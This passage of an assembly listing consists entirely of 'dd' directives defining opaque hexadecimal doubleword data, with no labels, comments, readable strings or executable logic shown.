0F3E024ACh, 43828E1h, 24286E85h, 0DA89061h, 2100CFBBh dd 54D4763Bh, 0C28D26h, 6ADDCBC1h, 823053C8h, 7494FB50h dd 0DBAE4400h, 0CEC7AA79h, 7AF0572h, 4FDD02Ch, 0C03F5CDCh dd 964F925Ah, 0D16CC004h, 398072AAh, 90D28D28h, 0D9B93AEBh dd 36714D8Fh, 0B11C3720h, 5002EC3h, 2CFEC95Ah, 7704B8C2h dd 0BC8A241Bh, 0E7A500CCh, 9625A929h, 0DF00CD7Fh, 0E2AB9C8h dd 0B8667AF7h, 0CA170023h, 0CD32AC1Fh, 3538FB5Ah, 772300C4h dd 0EBC0558Ah, 537B0006h, 0BA3D302Fh, 0AC71D611h, 2C0B1B06h dd 0FA86D3Fh, 29A7E3FFh, 0A9CADFC0h, 1AF497C1h, 0D9B82B00h dd 7C2F4A1Bh, 69E00CBh, 439CC75Ch, 0AC268B2Ch, 710092C3h dd 0BD89B3E7h, 45FE00A9h, 84BB4F3Ah, 30740C5h, 9BF8B962h dd 8C732DA0h, 49CA00B1h, 0ED88E696h, 2B13A0FCh, 0F212EC3Ch dd 0CCFB1800h, 0FD685Ah, 18C1536h, 0EE4830F3h, 34C31E07h dd 40776EE9h, 0CED03147h, 15BD53h, 8781EE6Ch, 8076A143h dd 26B6DF00h, 4C175233h, 4DE0008Dh, 5B01407Ah, 0E7F02570h dd 46348100h, 8468A9E9h, 0F4F3E6F9h, 236C1352h, 0B664008Ch dd 31EA3D65h, 0D919A400h, 0DD2ED084h, 0B8B890h, 1FA237E2h dd 0FD58AD7h, 9E94E800h, 0CEB6DB73h, 99EB002Ch, 830D7DA0h dd 0DC7423D1h, 39AC0A12h, 0C36C7443h, 311BA867h, 34345949h dd 0B2539D00h, 0EBD96408h, 16B4DC05h, 10484C31h, 1D1C104Eh dd 6E1D0C02h, 0FEB4B303h, 0AB91487h, 0BA0634ABh, 71DC67BBh dd 6EA12807h, 183C17C0h, 0B379069Dh, 30FC55A3h, 0D31DD9E2h dd 3E340Ch, 0F86CE2D1h, 0FB8AD8h, 9B6D0BEh, 17B4DDD2h dd 4C4D3128h, 0B3779316h, 97330040h, 743CA114h, 26A7147Fh dd 1C90102Dh, 0D2E99180h, 0BE0F54CFh, 40B932D1h, 0B2F82D04h dd 36A8C061h, 44B030FDh, 0D537B700h, 0E738D3ADh, 0DADE00FCh dd 0F52B9D3Eh, 0E4E48A01h, 0EC591005h, 9400D979h, 0D0092819h dd 0F34A22h, 0D8BEC3B4h, 0BC0FC486h, 20E28CC2h, 0C0DB85C5h dd 0E68801CEh, 1C34CAB4h, 0FC44E28Bh, 0F900F7B0h, 1A5CBA7h dd 0BA6C82Fh, 7F9A95F4h, 0E699A780h, 4900BE4Eh, 70D2CC93h dd 1203F626h, 0BF7294h, 36207B9Dh, 0B3F0E6A8h, 0DF30ECBAh dd 0C03F7182h, 0C62100FAh, 91C39854h, 30B89C62h, 0D4C1A800h dd 0D77AC842h, 0EB703C6Fh dd 12BEF0CEh, 110C17FAh, 68B67DDFh, 23780007h, 0A7838899h dd 0D4034A15h, 0CE8E95ABh, 0CB6DEA9Dh, 41A9B214h, 7DC1692Fh dd 9E0A434h, 0F78FC7AEh, 0FBA34880h, 0A700BEB8h, 0AB6144ADh dd 0B0E95150h, 0C5AA0FFCh, 780D1A0h, 5F1B44Fh, 0ABE4A400h dd 1A302547h, 55950F38h, 7D4E9EF9h, 24C0D9AFh, 2B2944A3h dd 0FE1D5804h, 0D0C5F62Dh, 3A1F7480h, 0FB88C075h, 8A759AAh dd 20F76630h, 7409F2C6h, 3AD50320h, 4C6AF8C4h, 517574A8h dd 0C33DD209h, 407C250Bh, 3A6DC041h, 0E2C4620Ch, 87A51439h dd 2C06FCEDh, 5809E891h, 4B483Eh, 9F74CE84h, 31D61D3h dd 0E5BC6215h, 47D8C772h, 0F900EA0Fh, 5A8BC0F3h, 32F2F788h dd 9B8850E0h, 8AA0B452h, 0A100291Fh, 0AA1A9C5Dh, 0ED571Ch dd 3C440C4Ah, 0E3C2271Eh, 53C0F003h, 0A015F1A2h, 2E2D928Ch dd 0EE88639h, 0EC405843h, 48282A52h, 4DA8C900h, 0C46CB2ABh dd 0B7C5015Bh, 0B8DF31C1h, 0C7E830F6h, 219BEB00h, 0BC668ECDh dd 0ABA1207h, 0FCCCCC36h, 39370085h, 50B3D858h, 8330E300h dd 3F53F01Fh, 0E7B200C5h, 0C1482238h, 5504B1EFh, 0F65DF20Eh dd 838094A2h, 283EFE70h, 0D0787A01h, 6A13CB51h, 1AF8FE4h dd 66276F4Ch, 0F4242369h, 5803726Dh, 0ECBB9DE1h, 86B09867h dd 84DA00D2h, 0A24F945Eh, 0E013396h, 0DD3E54FDh, 7560AE19h dd 0C8740098h, 1AC72368h, 0F2006DFAh, 1C0DB047h, 19B022Eh dd 770FDECEh, 2145F05Eh, 17FAD0B6h, 5769FC00h, 1F9CE8Ch dd 8520003Eh, 775E625Ah, 0F00EEC1h, 0A976D615h, 0C9CD2BAh dd 3210E854h, 3B3B2258h, 98F3802Dh, 6EFD16EEh, 191230D0h dd 0E84208ECh, 0D93A4B00h, 0CEE0D7BAh, 7B3D0437h, 0BE6285ACh dd 42B5BB01h, 0F3C4831Ch, 9AF270h, 0E9D5A46Eh, 413D9D2Ah dd 267D7700h, 4A92E1Dh, 0A3954876h, 0DC9B4906h, 58001825h dd 0E30B1730h, 72665EEh, 578AE56Ch, 0F5C600E9h, 25288256h dd 0D700ACE8h, 469A1CB8h, 0CBD2FBh, 0E916FC73h, 3D5CF3CEh dd 5B75F801h, 6CDDCFAFh, 0FC1E0BF8h, 0A94B059h, 0DCE9153Fh dd 4E119CC0h, 5B80D5FBh, 0B7A24562h, 4014CB00h, 0CCD35610h dd 0BB0201E9h, 4E25038Dh, 60D2D816h, 48279700h, 39F76101h dd 59FA1F23h, 5780FC8Eh, 0E5A7B995h, 8C014D52h, 7B139B1Dh dd 0A0E3A21Bh, 50DBA54Ah, 15DD799h, 36A9EBEEh, 0DCAC7003h dd 0D71C73CDh, 1E6E95E7h, 3D849300h, 0E463694h, 6A92F2AFh dd 0A6AD9B40h, 0DF03AE2h, 0B99E0300h, 0E0D6C56Eh, 407E1E9Dh dd 9B6C0050h, 78BCDC73h, 9100F67Eh, 601318CFh, 7079EDh dd 947A90EFh, 1209AC3Eh, 0B80E2D00h, 3911DE18h, 249E005Fh dd 2F5160C7h, 571C98BBh, 0F900A2D8h, 762C4170h, 32990089h dd 9227D2CFh, 62F2A44Fh, 1786C0Fh, 424082F7h, 241C48BDh dd 1C2E14FCh, 0D5008481h, 5F8DC2A5h, 86010FD1h, 8F94EF4Fh dd 0B3FC931Fh, 4C747BEBh, 68051340h, 0F2042h, 0C3A95AD8h dd 0DE00BF94h, 0BC4A9821h, 147B2D4h, 0F0B1B5BBh, 53AEB48Ah dd 0EDA0EEE8h, 0D806042Bh, 124CEA6Eh, 194A1E18h, 0C2DA009Ah dd 77D098FFh, 0AAC06870h, 0A254F9BEh, 49C87DE1h, 5D003864h dd 94604C1Bh, 720093B2h, 128EE5D5h, 1053873h, 805D0FF9h dd 0DC67CAD2h, 5000AAFDh, 0C2301426h, 58FC5Ah, 0E3050D3Fh dd 2038963h, 1A4D9200h, 0F93A5DEDh, 0A73D1B6Ch, 0D6A01901h dd 0C87F1F13h, 0FB0C0E00h, 744E2809h, 0A4C09F77h, 35030A4Ch dd 510FDCCFh, 0EF3958E4h, 34CC3B39h, 93C79E00h, 8A1ED554h dd 626FB600h, 96BD5D78h, 0E45F3867h, 6E8F00FFh, 14C7E57Ah dd 2600D9D4h, 0EAA1CC8Dh, 614D4Fh, 4E0810E6h, 0DF49978Ch dd 0C634B900h, 8FCD306Ah, 925200B2h, 385B3CB6h, 0D3714E20h dd 0EA0593EAh, 0E8774DABh, 0F18034C7h, 7985B9h, 964B39Bh dd 91BF4027h, 0AB334Ch, 90CE706Ah, 2CDACCh, 0D012BA4Fh dd 0B61552EBh, 44004990h, 0D86F6D91h, 1D8126BDh, 6C467Ah dd 398C9356h, 1E1DEBCDh, 1000B79Fh, 4D0BC7FBh, 0EDAB00D7h dd 7475530h, 0B400D15Dh, 0B96A0EA6h, 9DE6504h, 0C5784A92h dd 6983E700h, 9100A087h, 0C671793Bh, 3C43C60h, 7D219775h dd 31A7E363h, 202CF06Fh, 17046D80h, 0C89382C9h, 0E7BE3CC0h dd 4810008h, 74181126h, 7C020780h, 7DAA2812h, 7B9DC00Bh dd 449A07B3h, 0C15B6A11h, 3FB1990Eh, 10E071C0h, 0C92B0047h dd 0F6389353h, 84017E1Ch, 8871CE85h, 3B60BA78h, 801D007Dh dd 70C88382h, 0BF767B95h, 0C4877601h, 0B4F78673h, 398978FCh dd 7FAE74CAh, 430E0103h, 30DBF91Ch, 5800BB14h, 8B3A994Bh dd 741FE184h, 0CEB74B3h, 9F5B67BDh, 36039D90h, 0CF1AE4F5h dd 0C714E97Bh, 16D032D1h, 99A23156h, 40FE1CB9h, 797D5C2Ch dd 0E50E771Dh, 0E4F33600h, 77BD714h, 2DB2021Eh, 0AC480023h dd 0B8005DFFh, 1DE9BDE2h, 741E84DBh, 0E83500DFh, 95D90E71h dd 48CF1072h, 1C47024Dh, 563482FDh, 504088A7h, 370A1610h dd 46101D14h, 6503381Eh, 5043BF89h, 5DDEB804h, 79767014h dd 61757Ah, 0FCCE3F71h, 1F6FBF55h, 39E1793Eh, 125880DDh dd 0E90C60B7h, 69D40054h, 114D7A02h, 4A1FACFDh, 6DCE7B2Ah dd 81968B86h, 256F76C8h, 0E2371CE0h, 7067006Eh, 0A635A3CCh dd 3D260A5Dh, 9600EEDBh, 0E34E6C41h, 3F2B0039h, 834F90FDh dd 0B7006DB3h, 0E644F81Fh, 0DAAD41h, 5E6A5586h, 702977A8h dd 0A61BBB00h, 881073D6h, 9B2E1D45h, 14B1809Dh, 0D5EB7E24h dd 0E171BC02h, 0A0D802EEh, 5EBA779Ch, 0BD0E036Eh, 25569F79h dd 218B0830h, 5E3198h, 886C1C49h, 0A9E74FA2h, 0B7A48150h dd 2A48BB3Fh, 7D00AC9Eh, 14BA186Eh, 33E57B77h, 0A7085F1Ch dd 45DE2107h, 74C06A18h, 1BA5DE2h, 4B683DD6h, 0F8A65780h dd 29337BDCh, 0C9D319Bh, 0B6353168h, 4000DB11h, 431FE6A2h dd 24389985h, 309A849Bh, 0A2487621h, 37A91E00h, 0A74104BAh dd 0AC083A8Fh, 0A69B2800h, 63718C22h, 1B5DDD3Eh, 23707924h dd 4217BB68h, 73DD0AAFh, 408C4434h, 0FFA24A7Ch, 0B3570165h dd 900A1E70h, 2859847Eh, 2A247754h, 1DAF2360h, 72214F4Dh dd 408903E5h, 68DB8DC4h, 0E3F0D3CAh, 6B337400h, 0F9814B7Ch dd 0C7C90143h, 0EA2C76F4h, 44F440E6h, 120C9DCBh, 988DC80Ah dd 0FE5D2E69h, 0FF900032h, 0EF1E65D1h, 520094EEh, 0E2959C06h dd 0F6F5553Dh, 22F0085h, 0C6CC745Bh, 0F1001B36h, 17274135h dd 1119EF6h, 1E988EF5h, 0C9AF20FBh, 2591ECFDh, 4CF7F80Eh dd 4900BD08h, 83EB210Ch, 2BA50E61h, 439F3D15h, 2DC37313h dd 36CB4BC8h, 7580223Fh, 0E403CE7Fh, 9E16A824h, 0E875885Fh dd 0D0E4D3h, 0CF25BC8Ch, 4A836CEFh, 0A58ADF07h, 0F9800290h dd 0E3AF59h, 2632F29Bh, 0F6289D93h, 804E4C39h, 0B8D1FADFh dd 4AD761h, 0E5E6730Bh, 0FE9A24FCh, 82230700h, 384B488Eh dd 6A40062h, 1E96846Fh, 4700952Bh, 3144E201h, 1A29C1Dh dd 0B698A0FCh, 805EA4F8h, 87C592A0h, 0B08630h, 0ED9B2DBDh dd 0B92F596Fh, 5EC29500h, 4F8B2BBh, 67F100DFh, 5418FB45h dd 9CA0D0B5h, 9D00915Bh, 80D40F32h, 3AA7D9Bh, 0CCCE3D3h dd 0F7D9A5C5h, 0DEB8406Ch, 767E7468h, 0D7DFCE00h, 379BB10Bh dd 0F35004DCh, 0AFBDD1BFh, 0F65742C0h, 0C420CEEh, 6811E979h dd 0B54948h, 518B362Dh, 6074AA7Eh, 87EB58F4h, 6900AB15h dd 0AFB6030Eh, 76F7FBh dd 0B336C0EDh, 4C7C41EFh, 0F2F139h, 0F2C12C2h, 0E4A278h dd 116D20C6h, 0FF9BD127h, 65BFB80Bh, 0D641805Ch, 0FB5DA9Eh dd 0F96DDBBEh, 60EA2367h, 8CB05744h, 15000A7Ah, 0C21CD0E7h dd 50F656DCh, 14D08Bh, 17827013h, 0CFA8A3ECh, 0B47CE800h dd 21AE7574h, 0BDFB0006h, 7E8033B6h, 0BB12D515h, 20074986h dd 3F80F2C5h, 85744Ah, 417F4544h, 0AF6D1318h, 4849B300h dd 1CED558Fh, 5086EE21h, 4AAB0ECh, 6BDF0F6Dh, 0D80900D5h dd 0DBAA0h, 0D9CF39D0h, 0BB52A8B4h, 0E9D2EC00h, 9424C951h dd 6D5F001Ah, 6942FADBh, 340029DFh, 3DF77097h, 38126C52h dd 0FE003E5Bh, 0FD6A9D4Eh, 6B3A9665h, 0CD018082h, 0E507BD59h dd 0F060140Fh, 0F507C8DDh, 506E5FA5h, 37AA8D9Dh, 0A4D7CF00h dd 67566BEEh, 52010097h, 4C8CA06Ah, 0D300581Eh, 237DA9E1h dd 0AC9616h, 9889FF4Bh, 9C027840h, 0DAFEB906h, 381F39h dd 705F0377h, 0B65BA3EDh, 91554200h, 5785A902h, 3F4C0084h dd 0BA90D849h, 56317FFCh, 8DE1A018h, 775F3810h, 719EEA01h dd 9D83166Bh, 9C35E8h, 84C469A6h, 6CBCF80Ch, 4709F002h dd 40434241h, 0EC3D8ED4h, 113960ACh, 5965325Bh, 0B31DD50Bh dd 7ED80004h, 43DAEEh, 378DA956h, 13198796h, 18486207h dd 64E0545Fh, 7FAA076h, 153F856Ah, 7DDC6070h, 0AE00223Bh dd 1DCAF0FFh, 7D5504Dh, 843406Fh, 644F20AFh, 280F1647h dd 89D710h, 18217C7Eh, 0A510069h, 0C60E443Ah, 3013C78Fh dd 380085E4h, 0BC69AF83h, 5DD0034Bh, 0AEB4931Ah, 36996A80h dd 830F4490h, 3E7D5FB0h, 4610A483h, 0D053D81Fh, 0A7A62803h dd 0EEA10F89h, 0A5A09ECAh, 0E965111Eh, 8B2E5000h, 27B47EB5h dd 0C06F09C3h, 697C09ABh, 0D986FD00h, 4C55D283h, 0AC5021CFh dd 40230080h, 8B5A2917h, 0BE1D1C06h, 0A51E9AFBh, 7A2AC582h dd 616C48D8h, 67510F3Eh, 0F6809440h, 0AD2C812Dh, 0FC364602h dd 60C1CF98h, 7712091h, 0D6E43189h, 7D24A0DAh, 0E12CB17h dd 880EDED4h, 0FB6600D5h, 464B727h, 85F7F499h, 9364C098h dd 8C00C7CCh, 0AB6A1012h, 0F4AF0516h, 0AD56266Fh, 2A858260h dd 0D0611192h, 12C11046h, 8D560153h, 5C5F680Ch, 4524C891h dd 28D5A30Ch, 3BFE105Eh, 18C877E9h, 65833700h, 0E2DDA182h dd 9FDC7800h, 0BEAAEF5h, 245D785Fh, 1688447h, 6A1C447Ch dd 0B181946Dh, 0FEFC8080h, 0E2D5DB88h, 0BB9012F3h, 0C9140045h dd 3412A89Fh, 0E1CF775h, 9C80D227h, 0D894BA9Eh, 0A3010093h dd 7A04CEBDh, 1114B6A4h, 3882B92h, 451AF21Eh, 5295B03Ah dd 93E01266h, 2318004Ah, 59F87D44h, 0EFF6630Bh, 5FB20015h dd 24C3C65h, 3553A86Eh, 808FBB2Bh, 680440DFh, 57E26432h dd 805A263Ah, 8FE45588h, 650AF9h, 6CE7AE46h, 0A270DE58h dd 6A60867Bh, 44F65A41h, 474E0054h, 57D56FD3h, 0EF5037A8h dd 0BA5C2F80h, 0C84F00F2h, 0CBF26744h, 54780029h, 3AB761D5h dd 2126AA5Ah, 880930A8h, 1938A030h, 493C8B16h, 3701687Ah dd 53A49304h, 2E75D8FFh, 6B10800h, 33446231h, 0BBAF00F9h dd 58E1EB70h, 503E61FAh, 0FB6EAC0Dh, 0A052A30Eh, 0E4BA9296h dd 18AF00F1h, 0E031B1C0h, 6C002EB0h, 0E20748F6h, 2514C4h dd 0F9EDC593h, 3D621194h, 0D3EACB00h, 0D12BA3BEh, 0FAD4003Ah dd 957C15F6h, 6FF42D12h, 771CA9F8h, 62C3A1CAh, 0D891DBBCh dd 0E4B6C2h, 0DDACD464h, 6345D8CDh, 463B2B00h, 0CF0F9F07h dd 0C179001Ch, 0B9AAFEB8h, 0F92C8EC3h, 0C0E64B1h, 7DCBE3A3h dd 8005FAE6h, 0EEA5CCBFh, 0B91D13A8h, 50904197h, 0C074A77Dh dd 275AFE1h, 0B099B698h, 0E40E7516h, 0D0690089h, 0FA13A0h dd 6A0CADBEh, 45C9DEFh, 0FEB3BD00h, 1A4EC6Ch, 6F342477h dd 0B8570364h, 0F1A061D1h, 0DA6F5274h, 195D8770h, 0B0B21B90h dd 0EA160E29h, 0FD8722AFh, 9992A66Ch, 0F490D72h, 0E9960188h dd 0F195A232h, 7AB76D0h, 3AD8E427h, 505DC3E1h, 0FF217E0h dd 0BA333C0Dh, 3803286Dh, 86D9C2A6h, 70152Ch, 33BAC374h dd 1F7E3EE4h, 5F973500h, 0EFB7BD9Ch, 9415005Bh, 0E2DAFCAh dd 89DD101Ah, 0A432C181h, 2847B16Dh, 8C90F3D7h, 2A80393h dd 0E1BE4B87h, 0EF80FF27h, 1A45FC3Eh, 20B0136Fh, 6EFE93B0h dd 9A671C5Eh, 0E0EF8049h, 0DA2C7AEAh, 0B394D00h, 0C181CFAAh dd 9FAC0198h, 3B82EDE5h, 0B11A6092h, 4E9ED100h, 0F7D82FE8h dd 724700EEh, 777329ADh, 0BD3A9A07h, 0B38380CFh, 71BA1E7Eh dd 267001AAh, 3A9686B4h, 0E4F4F099h, 6D00A8BAh, 91BAE8A0h dd 498913h, 0A8B10AB2h, 0A2769EC5h, 0ECF5B515h, 372000A4h dd 0A759B3D5h, 896800EDh, 0E2A485F6h, 4C0718C7h, 0E271AFDh dd 8F126760h, 4D6D00DEh, 0A3C34391h, 3B03786Eh, 8B486C7Bh dd 0C001C12Dh, 2A491A80h, 0BD150E26h, 0E1E75104h, 0D1C0AE6Ch dd 0F81FDE50h, 0B5D60C6Dh, 5A301024h, 0F3C88854h, 0BCC9E262h dd 54EEE05Fh, 2E3700B2h, 6B44E7C4h, 31D4C4Eh, 4000AE2Dh dd 0A5E63A6Eh, 2B5F06Dh, 192BBDC3h, 91E19523h, 5900EBF7h dd 0B8DB4EF1h, 0E0E10E54h, 16140082h, 0A3AF0F68h, 29C0ED5Fh dd 0E5797403h, 0E3BB2889h, 1CBA44ACh, 9F2FFF00h, 5E939DBh dd 85DC2833h, 5F700F80h, 1D4060EFh, 1C0E14D8h, 98D3A703h dd 0C0763B91h, 468F804h, 709F0194h, 0A33490D4h, 7CA1B057h dd 0EC4010B7h, 516A09B2h, 7500D94Ah, 0DF09161Bh, 11F67118h dd 16C8D331h, 5AFE6BDh, 8356488Dh, 0D2FBA590h, 0EDDB4900h dd 425AEA75h, 0A0E2000Fh, 0F9E82714h, 0E10F80F1h, 0A00131DCh dd 5AD53086h, 27691EF0h, 0A17CC125h, 0D8B496FFh, 1EE29519h dd 4A5EA29h, 985EA2C1h, 60366FF0h, 1B8A1911h, 3A17E45Ah dd 5A0DBCD1h, 0EFF08E1h, 59D3D021h, 88A11620h, 4C004F9Dh dd 0A513D6B9h, 7091170Ch, 0D1F20038h, 8ACA959Fh, 2AEA69D5h dd 1ACC3D18h, 9BA078h, 18DD8D33h, 8EC5581Fh, 969F7800h dd 1A1D496Ah, 89733083h, 2E31EA20h, 2060EE29h, 307332E2h dd 0D30089F9h, 8C07242Ch, 30BF9EEDh, 1FF9A01Ah, 0CA28AFE7h dd 0C3038012h, 0D225FC10h, 5793C09Fh, 8C58D091h, 43D6C23h dd 0C93AE35Ah, 0D720A762h, 62B559D0h, 8B7778B6h, 0A5EB9D00h dd 589A3126h, 80AC1B29h, 0B2E52289h, 3A507CBBh, 0FC8654D3h dd 2189CF94h, 41227D02h, 0A7A521BDh, 64C107D8h, 11809A4Dh dd 1750E035h, 0AD0CCAA8h, 8DA18A1h, 0E321C032h, 0C38050E8h dd 0A8C88700h, 2A81DCE0h, 2F0F0AD6h, 3CDC9F18h, 0B33FB41Ch dd 0CBF80CB0h, 0F130EC98h, 788589A2h, 2C48015Dh, 240DFA6Dh dd 0D80898DDh, 6AE321h, 1683BF5Dh, 20986F9h, 0B006F101h dd 0D6EBABA1h, 25BDA840h, 399C0A4h, 775EC89Fh, 70584D32h dd 5CFC30E8h, 0D2C4C11h, 0DF80DC88h, 0FFFB5D6Eh, 652F02EFh dd 0D2D7CCDBh, 20843441h, 0D4044E9Dh, 0F90C2053h, 0F7DE4480h dd 54A04926h, 400ACD1Dh, 7FFF5EBAh, 1F79F15Fh, 8617AE00h dd 703B8958h, 6ACFEC7h, 84278896h, 2222C0DEh, 107D2433h dd 0C82C81A4h, 0E463448Dh, 6102F918h, 7AC2FB43h, 33AC8237h dd 1EE0028Ch, 709DDA61h, 0FAEE90A3h, 18A0A618h, 304F1F49h dd 7CA0BEA4h, 0CF289BA8h, 0D0A79CD8h, 0EB60A444h, 0C00CDACCh dd 0C080038Bh, 488A654h, 0F027956Ah, 9D4D0698h, 0B59109D9h dd 120C2D22h, 5700C899h, 0F07FE79Eh, 44C443h, 0FB7DDDC7h dd 2E873311h, 9D1ED406h dd 7B81BA37h, 75C900A9h, 8FD7C209h, 9900961Fh, 0CDD65006h dd 30D547E0h, 9B611980h, 86002D3Dh, 0FECF1F40h, 7D55E77Fh dd 81CE0173h, 0E928B89Ah, 2AEAE07Eh, 19948E32h, 0F855C0E6h dd 0C4261BFDh, 95A2C82Bh, 2A60D898h, 8ACB5414h, 28E423C0h dd 26346A4h, 0A81C50E7h, 103131D2h, 50EFD8h, 3748F8B7h dd 9B75E786h, 36309A78h, 943F9B9h, 271700FEh, 4CE67074h dd 3729CE8Fh, 23008C9Eh, 91096088h, 0D4281751h, 0C5471CB8h dd 87A0201Bh, 73A940EAh, 1112E976h, 7843AB38h, 978BA7C5h dd 44080089h, 992FFC6h, 0D5DC5C97h, 39DE182Fh, 4EDC3BC0h dd 8B8468A6h, 8540A60Bh, 0FED4108h, 9C9810A2h, 0DC289759h dd 0A460A4C6h, 3B245E79h, 64A0A286h, 0F436521Ch, 1052200h dd 6755B654h, 0E6E91A00h, 331C9AA7h, 0BD580CDDh, 77399920h dd 20149758h, 83242437h, 2AF80BB7h, 22DC2002h, 67940429h dd 9C703941h, 9BC98415h, 1B06D66Bh, 2900A1A6h, 0EFC02F4Bh dd 33BA75h, 0B35D0971h, 6E325EA6h, 90400250h, 35E898A0h dd 8B00789Ah, 0A29A1184h, 7D4538E5h, 79BD60F9h, 0C81C7902h dd 0C3002170h, 0BB7E7BDBh, 73B652h, 964511B0h, 6B69E970h dd 72E16801h, 9F275C22h, 20F89456h, 75481DE5h, 0F127C08Ch dd 600CD3h, 1B8F7488h, 388CDDC2h, 0C9172E00h, 9B5EC4EAh dd 607E487Fh, 1796400h, 630F9182h, 0A3901119h, 0B06B73F9h dd 0BB76811Bh, 0FF16DC02h, 4CE6D183h, 6EBD0180h, 0D79793EBh dd 0F214201Ah, 0BFC75318h, 0EFA41A8h, 6F8BA1D2h, 4824AC54h dd 2A11CCh, 968F64C3h, 0F20DD9h, 4C3A10BBh, 59B4B6F5h dd 54062BF4h, 64BECA84h, 807E80h, 3ADFF894h, 1F4BB9A1h dd 0F0202813h, 0BEA83800h, 0F8D572h, 4ECF9388h, 0AFC44D2Eh dd 0D0EAB404h, 0FE401D80h, 96FC626Eh, 9FF420E3h, 2260F892h dd 6266DB21h, 7BEF1F46h, 0FC4C40FAh, 0EB402E0h, 4EB2401h dd 36627FA7h, 0B274E4E2h, 0AE390484h, 40123768h, 0DFB3A28Fh dd 31C3098Ah, 0A4A03974h, 87F8D37Ah, 773DCFEAh, 80F40CBFh dd 1F4D812Fh, 4B397Ah, 3C9F1BE2h, 0E6030473h, 0B87DAF93h dd 71C4F7EBh, 61C458C4h, 3552088h, 0A07B2015h, 0C0D8C535h dd 64309619h, 38E6E197h, 11942470h, 0A3C2678h, 1FCCAC5Bh dd 0FE844ADBh, 6F2C3EA4h, 80651108h, 3AE65A1Dh, 0AA0187E1h dd 0A1B159D5h, 4F8440F6h, 2C28400Ch, 0D9D75C12h, 6D1D0800h dd 249C90B9h, 0A69C7D55h, 80EB11CCh, 2C6F5D75h, 0C004B905h dd 1F5D73E0h, 46DFBE00h, 6CCDC83Fh, 8123159Ch, 660EA02Eh dd 33C09372h, 0FBF941ECh, 19BC8600h, 21AA6C7Dh, 3AD0080h dd 5E48B966h, 8960FADEh, 0AF92BE38h, 4BD20714h, 2831A8Fh dd 0A0C065C1h, 0E55519A6h, 0E06C30ECh, 5E22E1C1h, 984B97F6h dd 0A4C086C8h, 0EE391137h, 0B7D70B8Fh, 0D8802BEBh, 0C7D57B5Eh dd 489A9378h, 0F09EA8C0h, 3DFCCC97h, 0BB36271Ch, 1A1CC080h dd 68263173h, 0D1F89884h, 33C0E84Dh, 30A7B2F0h, 30B89778h dd 0EEDA9B20h, 26A909D5h, 344EBC9Ch, 803DB903h, 0A9D8108Ch dd 808888D7h, 6300C0ECh, 24A652BFh, 0D9A80417h, 90214C11h dd 3A6C505Ch, 40022EF6h, 591A5DF7h, 791051B2h, 788418DAh dd 0D61700BDh, 0D93C2BB8h, 20F1E810h, 19015E78h, 0B005C2DCh dd 60E25F40h, 4907BF3Ch, 0EF2344B9h, 4B5D7101h, 9118652Ch dd 1F6FE488h, 422A035Dh, 9EE66E48h, 19D23461h, 237262F4h dd 2A114697h, 6260DD07h, 181CC02Bh, 6500E5B7h, 3B49A1BFh dd 169524DEh, 5EC14447h, 694C1828h, 0C0A89F37h, 0CF004869h dd 9126CBEh, 2FD5F36h, 2C30708Dh, 808216DEh, 6D0121A0h dd 39801736h, 0A9585706h, 561FBF89h, 0AC44D3CDh, 8A08B93h dd 0BC382C3Bh, 956580E0h, 0FA252CE4h, 0BC249748h, 1F138C89h dd 551EBA4Bh, 885080BDh, 9F547644h, 9CED54DCh, 4B2C8CCFh dd 7E15E862h, 8029889Ch, 916263D8h, 513D02D6h, 583A8498h dd 7C80F51Ch, 2DB677h, 7420EC82h, 937EB33Bh, 81BCF103h dd 233767C1h, 6101D570h, 0CE977162h, 0DE882318h, 3F620079h dd 0CCF21F63h, 3A028D45h, 6FED1D0Ah, 8C304948h, 5BF7860h dd 2BBB541Fh, 9768C851h, 0C8482F14h, 55AA01E4h, 98FC8E11h dd 0D17420A9h, 5CBB18DCh, 0E206AC5Fh, 692C87B3h, 0CB08DA00h dd 0FF608B6Ah, 674E026Ch, 3278B752h, 7E5D5EE0h, 8DC2BCA2h dd 18CEBC11h, 7662084Ch, 26C46697h, 6264D940h, 13CEF70h dd 47921E98h, 0A6D8E17Fh, 0FC70494Eh, 1D24B25Ch, 240BABA2h dd 0EC588628h, 5E0919F7h, 62CC1039h, 1BB44014h, 30DE4085h dd 38D8285Ch, 2E09C4C4h, 5247A27h, 9088425Eh, 0FF242C1Ch dd 93C8E960h, 1F49122Fh, 8B7613D4h, 988261E5h, 7E21D5BFh dd 41D9658Eh, 0F111204Eh, 5804924Bh, 0FCC22935h, 8480A01Bh dd 1DE910Ch, 0C86538F1h, 9E88739Bh, 0A02439E0h, 0C0FEE81Eh dd 14382028h, 601E0712h, 1DE404CCh, 0E1A81B50h, 50ECDFC1h dd 2623870h, 775972B1h, 0DCE106F9h, 73B428C7h, 1DC83269h dd 809E11ECh, 91426A97h, 5580EA56h, 3050B4BAh, 2EE22037h dd 12F4C914h, 63F88017h, 2FF27679h, 30380437h, 8A83B471h dd 10622422h, 9500D9BFh, 8D4A2Ah, 8F093EE0h, 2C9CD4DEh dd 1FAF8500h, 261AB19Eh, 61D53C10h, 3834E480h, 0D7CD45CBh dd 6F002EF8h, 0C29A1653h, 7147B78Ch, 61F608h, 5340AFFh dd 0F19D9B67h, 0C5A89A00h, 0A25284D9h, 0C4CC0336h, 0D8C7E327h dd 0DAE59F8h, 7900E7E2h, 16346B0Fh, 12E6D6Ah, 2967EC18h dd 3069F723h, 550EF0ADh, 4FB220C6h, 40367AAh, 201F540h dd 6A0D2CB0h, 95003D51h, 7B12DE75h, 8300863Dh, 270B3B24h dd 4E7DD4h, 0A58EB36Ah, 56ACCB87h, 0A8195200h, 3EC16D53h dd 42FA03D9h, 3DB31505h, 0F9D337DBh, 816CF4F8h, 8E1FCC1Dh dd 0CBEC9D83h, 5A858826h, 909028h, 83059407h, 772C907Ah dd 0EE17620Ah, 9F01AB0Dh, 0E371F6C3h, 70DD29D8h, 9DF20057h dd 6E021C03h, 9200A8E8h, 0C776DF26h, 0DDE27Bh, 5C063D9h dd 74CD2BCFh, 1A41B800h, 0C961AD4Fh, 9AF0FF8h, 4B80B401h dd 0C4A69C98h, 0B105E800h, 0EBCD115Ch, 4D4005Fh, 1FCB4DEDh dd 0BD0072F9h, 84B7D925h, 7DD023h, 1E4827FEh, 5C26C864h dd 45D6AC00h, 79EBA4E7h, 65E9012Ah, 0DD60EF2Eh, 0A5805087h dd 0CB001312h, 73DEDA93h, 31E0DB3h, 9E4CE64Ah, 11ABC635h dd 252E7D8h, 8136ECA0h, 0CA834801h, 1BF8E964h, 0ED9FED8h dd 0D781FA7h, 792A0FA1h, 0F99FE57Eh, 0F699CCB8h, 1B519CA0h dd 9739E000h, 